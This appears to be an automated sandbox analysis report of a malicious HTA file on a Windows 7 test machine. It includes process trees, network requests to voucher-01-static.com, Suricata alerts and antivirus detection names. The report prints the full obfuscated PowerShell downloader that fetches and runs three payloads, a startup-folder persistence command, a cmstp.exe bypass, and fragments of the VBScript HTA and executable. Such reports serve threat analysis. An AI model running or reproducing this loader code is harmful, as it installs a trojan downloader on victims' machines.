venture45.hta| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | July 8, 2024, 6:25 p.m. | July 8, 2024, 6:27 p.m. |
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function kTAPX($whVhTP, $wgoNDQ){[IO.File]::WriteAllBytes($whVhTP, $wgoNDQ)};function sJkqoCLtF($whVhTP){if($whVhTP.EndsWith((iRVrfw @(37574,37628,37636,37636))) -eq $True){Start-Process (iRVrfw @(37642,37645,37638,37628,37636,37636,37579,37578,37574,37629,37648,37629)) $whVhTP}else{Start-Process $whVhTP}};function LFuvhloI($IjWpK){$BBYenLHq = New-Object (iRVrfw @(37606,37629,37644,37574,37615,37629,37626,37595,37636,37633,37629,37638,37644));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$wgoNDQ = $BBYenLHq.DownloadData($IjWpK);return $wgoNDQ};function iRVrfw($cPcmspjt){$VFROSVY=37528;$uuolpFGi=$Null;foreach($GDbxHrfK in $cPcmspjt){$uuolpFGi+=[char]($GDbxHrfK-$VFROSVY)};return $uuolpFGi};function iHiOJeOT(){$SrcVb = $env:APPDATA + '\';$xhXqj = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37577,37579,37579,37583,37648,37574,37644,37648,37644));$UmbJSaI = $SrcVb + '1337x.txt';kTAPX $UmbJSaI $xhXqj;sJkqoCLtF $UmbJSaI;;$ywjaqdxl = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37648,37640,37636,37625,37649,37628,37574,37632,37644,37625));$PIZfdML = $SrcVb + 'xplayd.hta';kTAPX $PIZfdML $ywjaqdxl;sJkqoCLtF $PIZfdML;;$OAXyl = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37597,37642,37636,37638,37626,37574,37629,37648,37629));$DSRYp = $SrcVb + 'Erlnb.exe';kTAPX $DSRYp $OAXyl;sJkqoCLtF $DSRYp;;}iHiOJeOT;
2648-
notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\test22\AppData\Roaming\1337x.txt
2844 -
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -File C:\Users\Public\RoLg.ps1
3004-
cmstp.exe "cmstp.exe" C:\Users\Public\user.inf /au
152 -
csc.exe "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\jdaqmeqs.cmdline"
2228-
cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RES13B3.tmp" "c:\Users\test22\AppData\Local\Temp\CSC13A2.tmp"
2212
-
-
-
-
-
Powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\test22\AppData\Roaming\Erlnb.exe' 'C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Erlnb.exe' -Force
2544 -
Erlnb.exe "C:\Users\test22\AppData\Roaming\Erlnb.exe"
2760
-
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| voucher-01-static.com | 91.92.243.32 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 91.92.243.32:80 -> 192.168.56.101:49163 | 2400012 | ET DROP Spamhaus DROP Listed Traffic Inbound group 13 | Misc Attack |
| TCP 192.168.56.101:49163 -> 91.92.243.32:80 | 2022520 | ET POLICY Possible HTA Application Download | Potentially Bad Traffic |
| TCP 91.92.243.32:80 -> 192.168.56.101:49163 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
| TCP 91.92.243.32:80 -> 192.168.56.101:49163 | 2016538 | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download | Potentially Bad Traffic |
Suricata TLS
No Suricata TLS
| suspicious_features | GET method with no useragent header | suspicious_request | GET http://voucher-01-static.com/kvro/1337x.txt | ||||||
| suspicious_features | GET method with no useragent header | suspicious_request | GET http://voucher-01-static.com/kvro/xplayd.hta | ||||||
| suspicious_features | GET method with no useragent header | suspicious_request | GET http://voucher-01-static.com/kvro/Erlnb.exe | ||||||
| suspicious_features | GET method with no useragent header | suspicious_request | GET http://voucher-01-static.com/rkei/1085.txt | ||||||
| request | GET http://voucher-01-static.com/kvro/1337x.txt |
| request | GET http://voucher-01-static.com/kvro/xplayd.hta |
| request | GET http://voucher-01-static.com/kvro/Erlnb.exe |
| request | GET http://voucher-01-static.com/rkei/1085.txt |
| file | C:\Users\test22\AppData\Roaming\Erlnb.exe |
| file | c:\Users\test22\AppData\Local\Temp\jdaqmeqs.dll |
| file | C:\Users\Public\RoLg.ps1 |
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| file | C:\Users\test22\AppData\Roaming\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | powershell.exe -ExecutionPolicy UnRestricted -File C:\Users\Public\RoLg.ps1 |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function kTAPX($whVhTP, $wgoNDQ){[IO.File]::WriteAllBytes($whVhTP, $wgoNDQ)};function sJkqoCLtF($whVhTP){if($whVhTP.EndsWith((iRVrfw @(37574,37628,37636,37636))) -eq $True){Start-Process (iRVrfw @(37642,37645,37638,37628,37636,37636,37579,37578,37574,37629,37648,37629)) $whVhTP}else{Start-Process $whVhTP}};function LFuvhloI($IjWpK){$BBYenLHq = New-Object (iRVrfw @(37606,37629,37644,37574,37615,37629,37626,37595,37636,37633,37629,37638,37644));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$wgoNDQ = $BBYenLHq.DownloadData($IjWpK);return $wgoNDQ};function iRVrfw($cPcmspjt){$VFROSVY=37528;$uuolpFGi=$Null;foreach($GDbxHrfK in $cPcmspjt){$uuolpFGi+=[char]($GDbxHrfK-$VFROSVY)};return $uuolpFGi};function iHiOJeOT(){$SrcVb = $env:APPDATA + '\';$xhXqj = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37577,37579,37579,37583,37648,37574,37644,37648,37644));$UmbJSaI = $SrcVb + '1337x.txt';kTAPX $UmbJSaI $xhXqj;sJkqoCLtF $UmbJSaI;;$ywjaqdxl = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37648,37640,37636,37625,37649,37628,37574,37632,37644,37625));$PIZfdML = $SrcVb + 'xplayd.hta';kTAPX $PIZfdML $ywjaqdxl;sJkqoCLtF $PIZfdML;;$OAXyl = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37597,37642,37636,37638,37626,37574,37629,37648,37629));$DSRYp = $SrcVb + 'Erlnb.exe';kTAPX $DSRYp $OAXyl;sJkqoCLtF $DSRYp;;}iHiOJeOT; |
| cmdline | "C:\Windows\SysWOW64\mshta.exe" "C:\Users\test22\AppData\Roaming\xplayd.hta" |
| cmdline | "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\test22\AppData\Roaming\Erlnb.exe' 'C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Erlnb.exe' -Force |
| cmdline | powershell.exe -ExecutionPolicy UnRestricted function kTAPX($whVhTP, $wgoNDQ){[IO.File]::WriteAllBytes($whVhTP, $wgoNDQ)};function sJkqoCLtF($whVhTP){if($whVhTP.EndsWith((iRVrfw @(37574,37628,37636,37636))) -eq $True){Start-Process (iRVrfw @(37642,37645,37638,37628,37636,37636,37579,37578,37574,37629,37648,37629)) $whVhTP}else{Start-Process $whVhTP}};function LFuvhloI($IjWpK){$BBYenLHq = New-Object (iRVrfw @(37606,37629,37644,37574,37615,37629,37626,37595,37636,37633,37629,37638,37644));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$wgoNDQ = $BBYenLHq.DownloadData($IjWpK);return $wgoNDQ};function iRVrfw($cPcmspjt){$VFROSVY=37528;$uuolpFGi=$Null;foreach($GDbxHrfK in $cPcmspjt){$uuolpFGi+=[char]($GDbxHrfK-$VFROSVY)};return $uuolpFGi};function iHiOJeOT(){$SrcVb = $env:APPDATA + '\';$xhXqj = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37577,37579,37579,37583,37648,37574,37644,37648,37644));$UmbJSaI = $SrcVb + '1337x.txt';kTAPX $UmbJSaI $xhXqj;sJkqoCLtF $UmbJSaI;;$ywjaqdxl = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37648,37640,37636,37625,37649,37628,37574,37632,37644,37625));$PIZfdML = $SrcVb + 'xplayd.hta';kTAPX $PIZfdML $ywjaqdxl;sJkqoCLtF $PIZfdML;;$OAXyl = LFuvhloI (iRVrfw @(37632,37644,37644,37640,37586,37575,37575,37646,37639,37645,37627,37632,37629,37642,37573,37576,37577,37573,37643,37644,37625,37644,37633,37627,37574,37627,37639,37637,37575,37635,37646,37642,37639,37575,37597,37642,37636,37638,37626,37574,37629,37648,37629));$DSRYp = $SrcVb + 'Erlnb.exe';kTAPX $DSRYp $OAXyl;sJkqoCLtF $DSRYp;;}iHiOJeOT; |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -File C:\Users\Public\RoLg.ps1 |
| file | C:\Users\test22\AppData\Local\Temp\jdaqmeqs.dll |
| file | C:\Users\test22\AppData\Roaming\Erlnb.exe |
| Data received | HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 08 Jul 2024 09:25:20 GMT Content-Type: text/plain Content-Length: 8701 Last-Modified: Tue, 02 Apr 2024 03:10:06 GMT Connection: keep-alive ETag: "660b770e-21fd" Accept-Ranges: bytes ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ âââ âââ ââââââââââ âââââââ âââââââââââ âââ ââââââ ââââââââ ââââââââââââââââââââââââââââââââââââ ââââââ ââââââââ ââââ âââââââ âââââââ ââââ ââââââ ââââââ ââââââââ âââ âââââââ âââââââ ââââ ââââââ ââââââ ââââââââ âââââââââââââââââââ âââ ââââ âââ ââââââ âââ âââ ââââââââââ âââââââ âââ âââ âââ ââââââ ââââââ + Registrations disabled ââââââ + Add Latest update ââââââ + Add History Version ââââââ ââââââ âââ âââ âââââââ âââ âââââââââââââ ââââââââ |
| Data received | HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 08 Jul 2024 09:25:21 GMT Content-Type: application/octet-stream Content-Length: 9771 Last-Modified: Sat, 08 Jun 2024 11:31:46 GMT Connection: keep-alive ETag: "66644122-262b" Accept-Ranges: bytes <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <script language="VBScript"> Function FKyzoRjK(ByVal BbWtNUf) FKyzoRjK = VarType(BbWtNUf) End Function Function xQKCKj(ByVal YXuvwQf) Dim BbWtNUf Dim vPFkEnK Dim kXPyZazea Dim PpnyQhK PpnyQhK = 82 BbWtNUf = FKyzoRjK(YXuvwQf) If BbWtNUf = 8204 Then For Each vPFkEnK In YXuvwQf kXPyZazea = kXPyZazea & Chr(vPFkEnK - PpnyQhK) Next Else kXPyZazea = Chr(YXuvwQf - PpnyQhK) End If xQKCKj = kXPyZazea End Function Function lpDIMQ(ByVal svdrzl) Set lpDIMQ = CreateObject(svdrzl) End Function Function BzspHQQRh(ByVal shqoB, ByVal gTeLPKuc, ByVal tjIuHA) Dim svdrzl Dim bpFqOta svdrzl = xQKCKj(Array(169,165,181,196,187,194,198,128,165,186,183,190,190)) Set bpFqOta = lpDIMQ(svdrzl) Call bpFqOta.Run(shqoB, gTeLPKuc, tjIuHA) Set BzspHQQRh = Nothing End Function Function jjcyJeP(ByVal MOauoyN) Dim svdrzl Dim bpFqOta svdrzl = xQKCKj(Array(169,165,181,196,187,194,198,128,165,186,183,190,190)) Set bpFqOta = lpDIMQ(svdrzl) jjcyJeP = bpFqOta.ExpandEnvironmentStrings(MOauoyN) End Function Function sdGeUSwL(ByVal shqoB, ByVal guRbHOQ) Dim svdrzl Dim fCtvMe Dim jaCLwWl svdrzl = xQKCKj(Array(165,181,196,187,194,198,187,192,185,128,152,187,190,183,165,203,197,198,183,191,161,180,188,183,181,198)) Set fCtvMe = lpDIMQ(svdrzl) Set jaCLwWl = fCtvMe.CreateTextFile(shqoB,True) jaCLwWl.Write guRbHOQ jaCLwWl.Close Set sdGeUSwL = Nothing End Function Function nBUECyHVD() Dim YXuvwQf Dim qrLyWO YXuvwQf = Array(118,151,196,196,193,196,147,181,198,187,193,192,162,196,183,184,183,196,183,192,181,183,114,143,114,130,95,92,118,197,114,143,114,160,183,201,127,161,180,188,183,181,198,114,150,187,179,185,192,193,197,198,187,181,197,128,162,196,193,181,183,197,197,165,198,179,196,198,155,192,184,193,114,181,191,197,198,194,128,183,202,183,95,92,118,197,128,147,196,185,199,191,183,192,198,197,114,143,114,121,149,140,174,167,197,183,196,197,174,162,199,180,190,187,181,174,199,197,183,196,128,187,192,184,114,129,179,199,121,95,92,118,197,128,167,197,183,165,186,183,190,190,151,202,183,181,199,198,183,114,143,114,118,152,179,190,197,183,95,92,173,150,187,179,185,192,193,197,198,187,181,197,128,162,196,193,181,183,197,197,175,140,140,165,198,179,196,198,122,118,197,123,95,92,118,198,114,143,114,118,162,165,165,181,196,187,194,198,164,193,193,198,114,125,114,121,174,121,114,125,114,118,159,203,155,192,200,193,181,179,198,187,193,192,128,159,203,149,193,191,191,179,192,182,128,160,179,191,183,95,92,184,199,192,18 |
| Data received | HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 08 Jul 2024 09:25:22 GMT Content-Type: application/octet-stream Content-Length: 26624 Last-Modified: Fri, 17 May 2024 05:55:50 GMT Connection: keep-alive ETag: "6646f166-6800" Accept-Ranges: bytes MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ PE L õmì à 0 R p @ À @ »o O d $o 8 H .text P R `.rsrc d T @ @.reloc f @ B ïo H À? ô- ´m p 0 x ~ %-&~ þ" s % ( +~ %-&~ þ# s % ( +~ %-&~ þ$ s % ( +( + + *"( * *"( * 0 r } ( r p À ( s ( ~ %-&~ þ' s % ( +( + (" o# B($ o% &* 0 r { - ( + { ( } { rW p{ (& o' { o( { re po' { { ( * 0 ` ( þ ,+M{ { o ( + { o o' { o o( { ( *ú ( } { { ( { rW p{ (& o' * 0 Y þ ,: s* rg po+ o, o- } o- (. ( + + (. ( + + * 0 + * 0 3 s( } { o/ o0 þ) s1 o2 * 0 3 s* } { o/ o0 þ+ s3 o4 * 0 + , { þ+ , { o5 (6 * 0 b s7 } s8 } s8 } s9 } s9 } s: } s7 } s; } s: } { o< { o< (= { #s> o? { rÑ po@ { w sA oB { oC { rá po' { oD { þ sE oF { Ws> o? { rï po@ { æ sA oB { oG { oH { oI { ! Ws> o? { r po@ { 4 æ sA oB { oG { oH { oI { s> o? { rO po@ { Ì >sA oB { oC { C s> o? { r[ po@ { I sA oB { oC { oJ { oK { « Gs> o? { ru po@ { sA oB { oC { r po' { s> o? { r po@ { w sA oB { oC { r¹ po' { oD { þ sE oF { =s> o? { rÕ po@ { W sA oB { oC { r p" A î sL oM { i =s> o? { r+ po@ { ) sA oB { oC { rK po' { oN " À@" PAsO (P (Q j × sA (R (/ { oS (/ { |
| Data received | oS (/ { oS (/ { oS (/ { oS (/ { oS (/ { oS (/ { oS (/ { oS rS p(@ re po' þ sE (T { oU { oU (V (W *V (X (Y s &*0 B s, }M þ ,(Z }M +0 + (Z }M Xi2Ü {M ( +5 s\ {M i þ,* + {M o] X þ -Ý r¡ po] r$ p-r` p+rz p(& o] r po] o^ + (_ o] (` -ãÞ þ o5 Ür po] re po] 9 s- }O }N 8À {O {M {N Yre p(a 9 þ. sb ( +þ,c {O {M {N o] {N X}N {O {M {N re p(d -«re po] {N X}N {N {O {M ( +þ: ÿÿÿ 8û s/ }Q }P 8º {Q {M {P Yre p(a ,~ þ0 sb ( +,c {Q {M {P o] {P X}P {Q {M {P re p(d -«re po] {P X}P {P {Q {M ( +þ:#ÿÿÿ + * ç ! 0 » 5 %rÖ p¢%rü p¢se ( sf -r8 p+rR p og rn poh ,8: og oh 9 re p} re p} re p}! re p}" re p}# re p}$ re p}% re p}& re p}' re p}( re p}) re p}* re p}+ Xþ 9 og 4 % oi iþ , |
| Data received | ¿Ø¬ÚÍÍ)½N $ça t]uß IEND®B` D 3 h ü ü4 V S _ V E R S I O N _ I N F O ½ïþ ? D V a r F i l e I n f o $ T r a n s l a t i o n °\ S t r i n g F i l e I n f o 8 0 0 0 0 0 4 b 0 C o m m e n t s " C o m p a n y N a m e 4 F i l e D e s c r i p t i o n E r l n b 0 F i l e V e r s i o n 1 . 0 . 0 . 0 4 I n t e r n a l N a m e E r l n b . e x e H L e g a l C o p y r i g h t C o p y r i g h t © 2 0 2 4 * L e g a l T r a d e m a r k s < O r i g i n a l F i l e n a m e E r l n b . e x e , P r o d u c t N a m e E r l n b 4 P r o d u c t V e r s i o n 1 . 0 . 0 . 0 8 A s s e m b l y V e r s i o n 1 . 0 . 0 . 0 t ê <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> p 0 |
| Data sent | GET /kvro/1337x.txt HTTP/1.1 Host: voucher-01-static.com Connection: Keep-Alive |
| Data sent | GET /kvro/xplayd.hta HTTP/1.1 Host: voucher-01-static.com |
| Data sent | GET /kvro/Erlnb.exe HTTP/1.1 Host: voucher-01-static.com |
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| cmdline | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\jdaqmeqs.cmdline" |
| file | C:\Program Files\AVAST Software\Avast\avastUI.exe |
| file | C:\Program Files (x86)\AVAST Software\Avast\avastUI.exe |
| file | C:\Program Files\Kaspersky Lab |
| file | C:\Program Files (x86)\Kaspersky Lab |
| file | C:\Program Files\McAfee\Agent |
| file | C:\Program Files\Trend Micro |
| file | C:\Program Files (x86)\Trend Micro |
| file | C:\Program Files\AVG\Antivirus\AVGUI.exe |
| file | C:\Program Files (x86)\AVG\Antivirus\AVGUI.exe |
| file | C:\Users\test22\AppData\Roaming\1337x.txt |
| file | C:\Users\test22\AppData\Roaming\xplayd.hta |
| file | C:\Users\test22\AppData\Roaming\Erlnb.exe |
| wmi | SELECT * FROM AntiVirusProduct |
| parent_process | powershell.exe | martian_process | "cmstp.exe" C:\Users\Public\user.inf /au | ||||||
| parent_process | powershell.exe | martian_process | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\jdaqmeqs.cmdline" | ||||||
| parent_process | powershell.exe | martian_process | C:\Users\test22\AppData\Roaming\1337x.txt | ||||||
| parent_process | powershell.exe | martian_process | C:\Users\test22\AppData\Roaming\Erlnb.exe | ||||||
| parent_process | powershell.exe | martian_process | "C:\Windows\SysWOW64\mshta.exe" "C:\Users\test22\AppData\Roaming\xplayd.hta" | ||||||
| parent_process | powershell.exe | martian_process | "C:\Windows\system32\NOTEPAD.EXE" C:\Users\test22\AppData\Roaming\1337x.txt | ||||||
| parent_process | powershell.exe | martian_process | C:\Users\test22\AppData\Roaming\xplayd.hta | ||||||
| parent_process | powershell.exe | martian_process | "C:\Users\test22\AppData\Roaming\Erlnb.exe" | ||||||
| option | -executionpolicy unrestricted | value | Attempts to bypass execution policy | ||||||
| option | -executionpolicy unrestricted | value | Attempts to bypass execution policy | ||||||
| option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
| option | -executionpolicy unrestricted | value | Attempts to bypass execution policy | ||||||
| option | -executionpolicy unrestricted | value | Attempts to bypass execution policy | ||||||
| Skyhigh | VBS/Downloader.acl |
| ALYac | VB:Trojan.Valyria.6886 |
| VIPRE | VB:Trojan.Valyria.6886 |
| Arcabit | VB:Trojan.Valyria.D1AE6 |
| Symantec | Scr.Malscript!gen11 |
| ESET-NOD32 | VBS/TrojanDownloader.Agent.XAO |
| McAfee | VBS/Downloader.acl |
| Avast | Script:SNH-gen [Drp] |
| Kaspersky | HEUR:Trojan-Downloader.Script.Generic |
| BitDefender | VB:Trojan.Valyria.6886 |
| NANO-Antivirus | Trojan.Script.Downloader.jpdglv |
| MicroWorld-eScan | VB:Trojan.Valyria.6886 |
| Emsisoft | VB:Trojan.Valyria.6886 (B) |
| DrWeb | Trojan.DownLoader47.3897 |
| FireEye | VB:Trojan.Valyria.6886 |
| Ikarus | Trojan-Downloader.VBS.Agent |
| Jiangmin | Trojan.Script.amhb |
| Detected | |
| GData | VB:Trojan.Valyria.6886 |
| Varist | VBS/Agent.APR!Eldorado |
| MAX | malware (ai score=80) |
| Fortinet | VBS/Agent.UQJ!tr |
| AVG | Script:SNH-gen [Drp] |
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |
| file | C:\Windows\System32\notepad.exe |
| file | C:\Windows\SysWOW64\mshta.exe |
| file | C:\Users\test22\AppData\Roaming\Erlnb.exe |